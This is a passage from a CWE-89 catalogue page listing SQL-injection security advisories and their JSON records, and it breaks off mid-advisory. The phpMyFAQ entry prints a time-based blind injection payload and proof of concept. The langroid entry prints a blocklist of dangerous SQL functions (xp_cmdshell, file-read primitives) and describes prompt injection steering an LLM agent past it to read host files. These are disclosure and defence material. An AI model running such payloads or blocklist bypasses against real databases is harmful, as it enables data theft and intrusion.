Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

27482 vulnerabilities reference this CWE, most recent first.

GHSA-PM8C-3QQ3-72W7

Vulnerability from github – Published: 2026-05-06 20:44 – Updated: 2026-06-09 00:02
VLAI
Summary
phpMyFAQ has SQL Injection in CurrentUser::setTokenData through unescaped OAuth token fields
Details

Summary

CurrentUser::setTokenData() in phpmyfaq/src/phpMyFAQ/User/CurrentUser.php at lines 515-534 builds a SQL UPDATE statement with sprintf and interpolates OAuth token fields (refresh_token, access_token, code_verifier, and json_encode($token['jwt'])) without calling $db->escape(). Sibling methods setAuthSource() and setRememberMe() in the same file do call $db->escape() on user-controlled values, so the omission is local to this method. An attacker (Bob) whose Azure AD display name contains a single quote (for example O'Brien, or a deliberate SQL payload) breaks out of the string literal and injects arbitrary SQL against the phpMyFAQ database.

Details

Vulnerable code (phpmyfaq/src/phpMyFAQ/User/CurrentUser.php, lines 513-534):

public function setTokenData(#[\SensitiveParameter] array $token): bool
{
    $update = sprintf(
        "
        UPDATE
            %sfaquser
        SET
            refresh_token = '%s',
            access_token = '%s',
            code_verifier = '%s',
            jwt = '%s'
        WHERE
            user_id = %d",
        Database::getTablePrefix(),
        $token['refresh_token'],
        $token['access_token'],
        $token['code_verifier'],
        json_encode($token['jwt'], JSON_THROW_ON_ERROR),
        $this->getUserId(),
    );

    return (bool) $this->configuration->getDb()->query($update);
}

json_encode() does NOT escape single quotes. A JWT claim such as {"preferred_username": "O'Malley"} produces {"preferred_username":"O'Malley"} after json_encode, which terminates the SQL string literal at the apostrophe.

Correct pattern in the same file (setAuthSource, line 458-461):

$update = sprintf(
    "UPDATE %sfaquser SET auth_source = '%s' WHERE user_id = %d",
    Database::getTablePrefix(),
    $this->configuration->getDb()->escape($authSource),
    $this->getUserId(),
);

setRememberMe() (line 471-478) follows the same safe pattern with $db->escape().

Reachability: The phpMyFAQ Azure AD (Entra ID) OAuth flow calls setTokenData() after token exchange. The token response includes an id_token whose payload originates from the identity provider. An attacker registers a Microsoft account with a display name or custom claim containing SQL metacharacters. When that user logs into a phpMyFAQ instance with Azure AD auth enabled, the malicious claim flows into the UPDATE without sanitization.

Proof of Concept

Prerequisites: phpMyFAQ instance with Azure AD / Entra ID authentication enabled.

  1. Bob registers an Azure AD account with display name x]","email":"x',(SELECT SLEEP(5)))-- -.

  2. Bob initiates the OAuth login flow on the target phpMyFAQ.

  3. After authorization, the token endpoint returns a JWT with the crafted claim.

  4. phpMyFAQ calls setTokenData() with the unsanitized token array. The resulting SQL becomes:

UPDATE faquser
SET
    refresh_token = '<valid>',
    access_token = '<valid>',
    code_verifier = '<valid>',
    jwt = '{"preferred_username":"x',(SELECT SLEEP(5)))-- -"}'
WHERE
    user_id = 42

The single quote after x closes the jwt string literal. Everything after it executes as attacker-controlled SQL.

  1. To confirm time-based blind injection locally (requires modifying the OAuth token response in a proxy):
import requests

# Simulates what happens when the crafted JWT claim reaches the DB
# In production, this happens automatically through the OAuth flow
payload = "x'||(SELECT SLEEP(5))||'"

# The interpolated query will pause for 5 seconds, confirming injection
print(f"Injected jwt value: {payload}")
print("If the login takes 5+ seconds longer than normal, injection succeeded.")

Impact

An attacker who can authenticate via Azure AD with a crafted claim achieves arbitrary SQL execution on the phpMyFAQ database. This permits reading all FAQ data (including restricted entries), modifying or deleting content, and extracting password hashes and session tokens of all users including administrators.

CWE: CWE-89 (SQL Injection)

Recommended Fix

Escape all interpolated values using $this->configuration->getDb()->escape(), matching the pattern used by setAuthSource() and setRememberMe() in the same file:

public function setTokenData(#[\SensitiveParameter] array $token): bool
{
    $db = $this->configuration->getDb();
    $update = sprintf(
        "
        UPDATE
            %sfaquser
        SET
            refresh_token = '%s',
            access_token = '%s',
            code_verifier = '%s',
            jwt = '%s'
        WHERE
            user_id = %d",
        Database::getTablePrefix(),
        $db->escape($token['refresh_token']),
        $db->escape($token['access_token']),
        $db->escape($token['code_verifier']),
        $db->escape(json_encode($token['jwt'], JSON_THROW_ON_ERROR)),
        $this->getUserId(),
    );

    return (bool) $db->query($update);
}

Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:44:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`CurrentUser::setTokenData()` in `phpmyfaq/src/phpMyFAQ/User/CurrentUser.php` at lines 515-534 builds a SQL UPDATE statement with `sprintf` and interpolates OAuth token fields (`refresh_token`, `access_token`, `code_verifier`, and `json_encode($token[\u0027jwt\u0027])`) without calling `$db-\u003eescape()`. Sibling methods `setAuthSource()` and `setRememberMe()` in the same file do call `$db-\u003eescape()` on user-controlled values, so the omission is local to this method. An attacker (Bob) whose Azure AD display name contains a single quote (for example `O\u0027Brien`, or a deliberate SQL payload) breaks out of the string literal and injects arbitrary SQL against the phpMyFAQ database.\n\n## Details\n\n**Vulnerable code** (`phpmyfaq/src/phpMyFAQ/User/CurrentUser.php`, lines 513-534):\n\n```php\npublic function setTokenData(#[\\SensitiveParameter] array $token): bool\n{\n    $update = sprintf(\n        \"\n        UPDATE\n            %sfaquser\n        SET\n            refresh_token = \u0027%s\u0027,\n            access_token = \u0027%s\u0027,\n            code_verifier = \u0027%s\u0027,\n            jwt = \u0027%s\u0027\n        WHERE\n            user_id = %d\",\n        Database::getTablePrefix(),\n        $token[\u0027refresh_token\u0027],\n        $token[\u0027access_token\u0027],\n        $token[\u0027code_verifier\u0027],\n        json_encode($token[\u0027jwt\u0027], JSON_THROW_ON_ERROR),\n        $this-\u003egetUserId(),\n    );\n\n    return (bool) $this-\u003econfiguration-\u003egetDb()-\u003equery($update);\n}\n```\n\n`json_encode()` does NOT escape single quotes. A JWT claim such as `{\"preferred_username\": \"O\u0027Malley\"}` produces `{\"preferred_username\":\"O\u0027Malley\"}` after `json_encode`, which terminates the SQL string literal at the apostrophe.\n\n**Correct pattern in the same file** (`setAuthSource`, line 458-461):\n\n```php\n$update = sprintf(\n    \"UPDATE %sfaquser SET auth_source = \u0027%s\u0027 WHERE user_id = %d\",\n    Database::getTablePrefix(),\n    $this-\u003econfiguration-\u003egetDb()-\u003eescape($authSource),\n    $this-\u003egetUserId(),\n);\n```\n\n`setRememberMe()` (line 471-478) follows the same safe pattern with `$db-\u003eescape()`.\n\n**Reachability**: The phpMyFAQ Azure AD (Entra ID) OAuth flow calls `setTokenData()` after token exchange. The token response includes an `id_token` whose payload originates from the identity provider. An attacker registers a Microsoft account with a display name or custom claim containing SQL metacharacters. When that user logs into a phpMyFAQ instance with Azure AD auth enabled, the malicious claim flows into the UPDATE without sanitization.\n\n## Proof of Concept\n\nPrerequisites: phpMyFAQ instance with Azure AD / Entra ID authentication enabled.\n\n1. Bob registers an Azure AD account with display name `x]\",\"email\":\"x\u0027,(SELECT SLEEP(5)))-- -`.\n\n2. Bob initiates the OAuth login flow on the target phpMyFAQ.\n\n3. After authorization, the token endpoint returns a JWT with the crafted claim.\n\n4. phpMyFAQ calls `setTokenData()` with the unsanitized token array. The resulting SQL becomes:\n\n```sql\nUPDATE faquser\nSET\n    refresh_token = \u0027\u003cvalid\u003e\u0027,\n    access_token = \u0027\u003cvalid\u003e\u0027,\n    code_verifier = \u0027\u003cvalid\u003e\u0027,\n    jwt = \u0027{\"preferred_username\":\"x\u0027,(SELECT SLEEP(5)))-- -\"}\u0027\nWHERE\n    user_id = 42\n```\n\nThe single quote after `x` closes the `jwt` string literal. Everything after it executes as attacker-controlled SQL.\n\n5. To confirm time-based blind injection locally (requires modifying the OAuth token response in a proxy):\n\n```python\nimport requests\n\n# Simulates what happens when the crafted JWT claim reaches the DB\n# In production, this happens automatically through the OAuth flow\npayload = \"x\u0027||(SELECT SLEEP(5))||\u0027\"\n\n# The interpolated query will pause for 5 seconds, confirming injection\nprint(f\"Injected jwt value: {payload}\")\nprint(\"If the login takes 5+ seconds longer than normal, injection succeeded.\")\n```\n\n## Impact\n\nAn attacker who can authenticate via Azure AD with a crafted claim achieves arbitrary SQL execution on the phpMyFAQ database. This permits reading all FAQ data (including restricted entries), modifying or deleting content, and extracting password hashes and session tokens of all users including administrators.\n\n**CWE**: CWE-89 (SQL Injection)\n\n## Recommended Fix\n\nEscape all interpolated values using `$this-\u003econfiguration-\u003egetDb()-\u003eescape()`, matching the pattern used by `setAuthSource()` and `setRememberMe()` in the same file:\n\n```php\npublic function setTokenData(#[\\SensitiveParameter] array $token): bool\n{\n    $db = $this-\u003econfiguration-\u003egetDb();\n    $update = sprintf(\n        \"\n        UPDATE\n            %sfaquser\n        SET\n            refresh_token = \u0027%s\u0027,\n            access_token = \u0027%s\u0027,\n            code_verifier = \u0027%s\u0027,\n            jwt = \u0027%s\u0027\n        WHERE\n            user_id = %d\",\n        Database::getTablePrefix(),\n        $db-\u003eescape($token[\u0027refresh_token\u0027]),\n        $db-\u003eescape($token[\u0027access_token\u0027]),\n        $db-\u003eescape($token[\u0027code_verifier\u0027]),\n        $db-\u003eescape(json_encode($token[\u0027jwt\u0027], JSON_THROW_ON_ERROR)),\n        $this-\u003egetUserId(),\n    );\n\n    return (bool) $db-\u003equery($update);\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-pm8c-3qq3-72w7",
  "modified": "2026-06-09T00:02:16Z",
  "published": "2026-05-06T20:44:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pm8c-3qq3-72w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46359"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/phpmyfaq-sql-injection-in-currentuser-settokendata-via-unescaped-oauth-token-fields"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has SQL Injection in CurrentUser::setTokenData through unescaped OAuth token fields"
}

GHSA-PM8G-4F93-7M8M

Vulnerability from github – Published: 2024-01-16 18:31 – Updated: 2025-06-11 18:35
VLAI
Details

The ArtPlacer Widget WordPress plugin before 2.20.7 does not sanitize and escape the "id" parameter before submitting the query, leading to a SQLI exploitable by editors and above. Note: Due to the lack of CSRF check, the issue could also be exploited via a CSRF against a logged editor (or above)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-6373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-16T16:15:13Z",
    "severity": "HIGH"
  },
  "details": "The ArtPlacer Widget WordPress plugin before 2.20.7 does not sanitize and escape the \"id\" parameter before submitting the query, leading to a SQLI exploitable by editors and above. Note: Due to the lack of CSRF check, the issue could also be exploited via a CSRF against a logged editor (or above)",
  "id": "GHSA-pm8g-4f93-7m8m",
  "modified": "2025-06-11T18:35:38Z",
  "published": "2024-01-16T18:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6373"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/afc11c92-a7c5-4e55-8f34-f2235438bd1b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM8H-6F66-CJGM

Vulnerability from github – Published: 2022-05-14 04:00 – Updated: 2022-05-14 04:00
VLAI
Details

The Configuration component of Piwigo 2.9.2 is vulnerable to SQL Injection via the admin/configuration.php order_by array parameter. An attacker can exploit this to gain access to the data in a connected MySQL database.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-17823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-21T04:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The Configuration component of Piwigo 2.9.2 is vulnerable to SQL Injection via the admin/configuration.php order_by array parameter. An attacker can exploit this to gain access to the data in a connected MySQL database.",
  "id": "GHSA-pm8h-6f66-cjgm",
  "modified": "2022-05-14T04:00:43Z",
  "published": "2022-05-14T04:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Piwigo/Piwigo/issues/826"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Piwigo/Piwigo/commit/91ef7909a5c51203f330cbecf986472900b60983"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sahildhar/sahildhar.github.io/blob/master/research/reports/Piwigo_2.9.2/Multiple%20SQL%20Injection%20Vulnerabilities%20in%20Piwigo%202.9.2.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM97-4H32-F6P7

Vulnerability from github – Published: 2023-12-31 18:30 – Updated: 2026-04-28 21:33
VLAI
Details

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Jewel Theme WP Adminify.This issue affects WP Adminify: from n/a through 3.1.6.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-52132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-31T18:15:51Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Jewel Theme WP Adminify.This issue affects WP Adminify: from n/a through 3.1.6.",
  "id": "GHSA-pm97-4h32-f6p7",
  "modified": "2026-04-28T21:33:41Z",
  "published": "2023-12-31T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52132"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/adminify/wordpress-wp-adminify-plugin-3-1-6-sql-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PM9J-XGG7-2GH3

Vulnerability from github – Published: 2026-03-12 18:30 – Updated: 2026-03-12 18:30
VLAI
Details

202CMS v10 beta contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the log_user parameter. Attackers can send crafted requests with malicious SQL statements in the log_user field to extract sensitive database information or modify database contents.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-25538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-12T16:16:08Z",
    "severity": "HIGH"
  },
  "details": "202CMS v10 beta contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the log_user parameter. Attackers can send crafted requests with malicious SQL statements in the log_user field to extract sensitive database information or modify database contents.",
  "id": "GHSA-pm9j-xgg7-2gh3",
  "modified": "2026-03-12T18:30:31Z",
  "published": "2026-03-12T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25538"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/projects/b202cms"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46579"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/202cms-v10-beta-sql-injection-via-log-user-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PMC3-P5VH-P4F9

Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2024-04-04 00:24
VLAI
Details

doorGets 7.0 has a SQL injection vulnerability in /doorgets/app/requests/user/configurationRequest.php when action=analytics. A remote background administrator privilege user (or a user with permission to manage configuration analytics) could exploit the vulnerability to obtain database sensitive information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-11619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-30T20:29:00Z",
    "severity": "MODERATE"
  },
  "details": "doorGets 7.0 has a SQL injection vulnerability in /doorgets/app/requests/user/configurationRequest.php when action=analytics. A remote background administrator privilege user (or a user with permission to manage configuration analytics) could exploit the vulnerability to obtain database sensitive information.",
  "id": "GHSA-pmc3-p5vh-p4f9",
  "modified": "2024-04-04T00:24:01Z",
  "published": "2022-05-24T16:44:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/itodaro/doorGets_cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PMC3-V8X7-CHWC

Vulnerability from github – Published: 2025-01-31 18:31 – Updated: 2025-02-03 18:30
VLAI
Details

A SQL injection vulnerability exists in the front-end of the website in ZZCMS <= 2023, which can be exploited without any authentication. This vulnerability could potentially allow attackers to gain unauthorized access to the database and extract sensitive information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-22957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-31T17:15:16Z",
    "severity": "CRITICAL"
  },
  "details": "A SQL injection vulnerability exists in the front-end of the website in ZZCMS \u003c= 2023, which can be exploited without any authentication. This vulnerability could potentially allow attackers to gain unauthorized access to the database and extract sensitive information.",
  "id": "GHSA-pmc3-v8x7-chwc",
  "modified": "2025-02-03T18:30:40Z",
  "published": "2025-01-31T18:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22957"
    },
    {
      "type": "WEB",
      "url": "https://github.com/youyouiooi/vulnerability-reports/blob/main/CVE-2025-22957/REANDE.md"
    },
    {
      "type": "WEB",
      "url": "http://www.zzcms.net"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PMC4-M2MX-J46R

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08
VLAI
Details

SQL injection vulnerability in view.php in Machform 2 allows remote attackers to execute arbitrary SQL commands via the element_2 parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-4948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-07-29T23:27:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in view.php in Machform 2 allows remote attackers to execute arbitrary SQL commands via the element_2 parameter.",
  "id": "GHSA-pmc4-m2mx-j46r",
  "modified": "2022-05-13T01:08:59Z",
  "published": "2022-05-13T01:08:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4948"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/85388"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/94801"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/122255/Machform-Form-Maker-2-XSS-Shell-Upload-SQL-Injection.html"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/26553"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PMC5-XXRH-GW9H

Vulnerability from github – Published: 2024-07-31 06:30 – Updated: 2024-07-31 06:30
VLAI
Details

A vulnerability was found in SourceCodester Establishment Billing Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /ajax.php?action=delete_block. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-273157 was assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-7288"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-31T05:15:10Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Establishment Billing Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /ajax.php?action=delete_block. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-273157 was assigned to this vulnerability.",
  "id": "GHSA-pmc5-xxrh-gw9h",
  "modified": "2024-07-31T06:30:35Z",
  "published": "2024-07-31T06:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7288"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/topsky979/f495fd0ec7cdda5c7c6059a0b2224b64"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.273157"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.273157"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.381470"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PMCH-G965-GRMR

Vulnerability from github – Published: 2026-07-02 17:42 – Updated: 2026-07-02 17:42
VLAI
Summary
Langroid: SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read
Details

Summary

SQLChatAgent in langroid ships a _validate_query defense-in-depth layer whose _DANGEROUS_SQL_PATTERNS regex blocklist enumerates dangerous SQL primitives by specific function name. The list misses the canonical PostgreSQL filesystem-disclosure family pg_read_file(), pg_stat_file(), pg_ls_logdir(), pg_ls_waldir(), pg_current_logfile() (and similar SELECT-shaped functions in the same family). It also leaves SQL Server OPENDATASOURCE and SQLite ATTACH '<file>' AS x (DATABASE keyword omitted) unblocked.

An attacker able to shape the LLM's generated SQL (directly via prompt input or transitively via prompt-injection in data the LLM ingests) can read arbitrary files from the PostgreSQL host through ordinary SELECT queries, even with the agent's strict default configuration (allow_dangerous_operations=False, allowed_statement_types=['SELECT']). The payloads survive the statement-type allowlist (each is a SELECT) and pass through the regex blocklist (none of the function names match), then reach the live SQLAlchemy engine via SQLChatAgent.run_query.

Affected versions

langroid <= 0.63.0 (latest at the time of this report; PyPI release 2026-05-27). The vulnerable code path is langroid/agent/special/sql/sql_chat_agent.py::_validate_query, which consults the module-level _DANGEROUS_SQL_PATTERNS literal at sql_chat_agent.py:113-141.

Privilege required

Any caller able to influence the LLM-generated RunQueryTool.query string that reaches SQLChatAgent.run_query. In a typical deployment this is any client of a SQLChatAgent-backed service, or any upstream data source whose content the LLM is asked to read and summarise. No PostgreSQL credentials are required from the attacker; the agent holds them.

Vulnerable code

langroid/agent/special/sql/sql_chat_agent.py:113-141 (the _DANGEROUS_SQL_PATTERNS literal) and sql_chat_agent.py:546-615 (the _validate_query method that consults it):

# sql_chat_agent.py:113
_DANGEROUS_SQL_PATTERNS: List["re.Pattern[str]"] = [
    re.compile(r"\bcopy\b[\s\S]*\bprogram\b", re.IGNORECASE),
    re.compile(r"\bpg_read_server_files?\b", re.IGNORECASE),
    re.compile(r"\bpg_read_binary_file\b", re.IGNORECASE),
    re.compile(r"\bpg_ls_dir\b", re.IGNORECASE),
    re.compile(r"\blo_(import|export)\b", re.IGNORECASE),
    re.compile(r"\binto\s+(outfile|dumpfile)\b", re.IGNORECASE),
    re.compile(r"\bload_file\s*\(", re.IGNORECASE),
    re.compile(r"\bload\s+data\b", re.IGNORECASE),
    re.compile(r"\bload_extension\s*\(", re.IGNORECASE),
    re.compile(r"\battach\s+database\b", re.IGNORECASE),
    re.compile(r"\bxp_cmdshell\b", re.IGNORECASE),
    re.compile(r"\bsp_oacreate\b", re.IGNORECASE),
    re.compile(r"\bsp_oamethod\b", re.IGNORECASE),
    re.compile(r"\bopenrowset\b", re.IGNORECASE),
    re.compile(r"\bbulk\s+insert\b", re.IGNORECASE),
    re.compile(
        r"\bcreate\s+(or\s+replace\s+)?(function|procedure|trigger)\b",
        re.IGNORECASE,
    ),
    re.compile(r"\bcreate\s+extension\b", re.IGNORECASE),
]

The blocklist is a list of \b<exact-token>\b literals. PostgreSQL ships several near-name functions on the same primitive that none of these match:

Function What it returns Matched by blocklist?
pg_read_server_file('/path') file contents yes (pg_read_server_files?)
pg_read_binary_file('/path') binary contents yes
pg_ls_dir('/path') directory listing yes
pg_read_file('/path') file contents no (no _server_ infix)
pg_stat_file('/path') size, mtime, ctime, atime, isdir no
pg_ls_logdir() filenames in PostgreSQL log dir no
pg_ls_waldir() WAL filenames and sizes no
pg_ls_tmpdir() temp-dir listing no
pg_ls_archive_statusdir() archive-status directory listing no
pg_current_logfile() active server log path no

Each of these is a SELECT-shaped function call. They pass the sqlglot_exp.Select-only statement-type allowlist applied at sql_chat_agent.py:583-614, then evade the regex blocklist (their names contain no token the blocklist enumerates), then reach the SQLAlchemy session.execute(text(query)) sink inside SQLChatAgent.run_query (line 631 onwards).

Two non-PostgreSQL secondary gaps with the same regex-enumeration shape:

  • The SQLite pattern \battach\s+database\b requires the literal DATABASE keyword. Per the SQLite grammar (https://www.sqlite.org/lang_attach.html) the keyword is optional: ATTACH '/path/to/db' AS x is valid syntax and matches no entry in the blocklist. Whether the agent rejects this via the statement-type allowlist depends on how the configured sqlglot dialect parses it; on PostgreSQL dialect parsing fails (sqlglot returns no Select) and the statement-type check rejects, but a SQLite-dialect SQLChatAgent (database_uri="sqlite:///...") returns the statement as sqlglot_exp.Attach, which is not in the agent's kind_map, so the generic type(stmt).__name__.upper() branch produces "ATTACH". That string is not in _DEFAULT_ALLOWED_STATEMENTS so the allowlist saves it here; however any deployment that extends allowed_statement_types to include "ATTACH" (e.g. to permit cross-schema connectivity) loses this fallback and the regex misses.
  • The MSSQL pattern \bopenrowset\b blocks OPENROWSET but not the closely-related OPENDATASOURCE function. Both can read remote/UNC files and execute remote queries via an ad-hoc connection string, e.g. a SELECT against OPENDATASOURCE('SQLNCLI11','Server=remote;Trusted_Connection=yes') qualified down to master.sys.tables.

Attack scenario

SQLChatAgent.run_query (line 617 of sql_chat_agent.py) calls self._validate_query(query) (line 631) on the LLM-generated SQL. The LLM-generated SQL is shaped by upstream prompt content that crosses the trust boundary: the user message, any tool result the LLM is asked to summarise, any document the agent retrieves, and any row the agent reads back from its own database (the RunQueryTool result is fed back into the LLM history at sql_chat_agent.py:712-720 of the same release).

The default config in SQLChatAgentConfig (lines 183-184) sets allow_dangerous_operations=False and allowed_statement_types=["SELECT"], which is the configuration _validate_query was added to support. The bypass primitives below are reachable under this default config because each is a syntactic SELECT whose function-call argument is the disclosure vector.

Proof of concept

poc.py (single-file, no external services beyond a transient PostgreSQL spawned via testing.postgresql):

"""
PoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure
